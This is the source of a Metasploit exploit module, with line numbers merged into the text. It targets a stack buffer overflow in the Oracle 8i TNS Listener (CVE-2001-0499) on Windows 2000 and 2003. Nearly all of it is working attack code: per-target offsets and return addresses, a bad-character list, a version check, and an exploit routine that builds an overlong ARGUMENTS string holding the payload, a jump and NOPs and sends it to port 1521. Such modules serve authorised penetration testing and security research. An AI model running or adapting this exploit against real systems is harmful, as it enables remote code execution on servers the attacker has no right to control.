Path: blob/master/modules/exploits/windows/oracle/tns_arguments.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::TNS910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Oracle 8i. When17sending a specially crafted packet containing an overly long18ARGUMENTS string to the TNS service, an attacker may be able19to execute arbitrary code.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2001-0499' ],25[ 'OSVDB', '9427'],26[ 'BID', '2941' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'process',31},32'Payload' => {33'Space' => 600,34'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ],40[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6379, 'Ret' => 0x60a1e154 }],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2001-06-28',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([Opt::RPORT(1521)])53end5455def check56connect57version = "(CONNECT_DATA=(COMMAND=VERSION))"58pkt = tns_packet(version)59sock.put(pkt)60sock.get_once61res = sock.get_once(-1, 1)62disconnect6364if (res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/)65return Exploit::CheckCode::Appears66end6768return Exploit::CheckCode::Safe69end7071def exploit72connect7374buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded75buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')76buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)7778sploit = "(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))"7980pkt = tns_packet(sploit)8182print_status("Trying target #{target.name}...")83sock.put(pkt)8485handler8687disconnect88end89end909192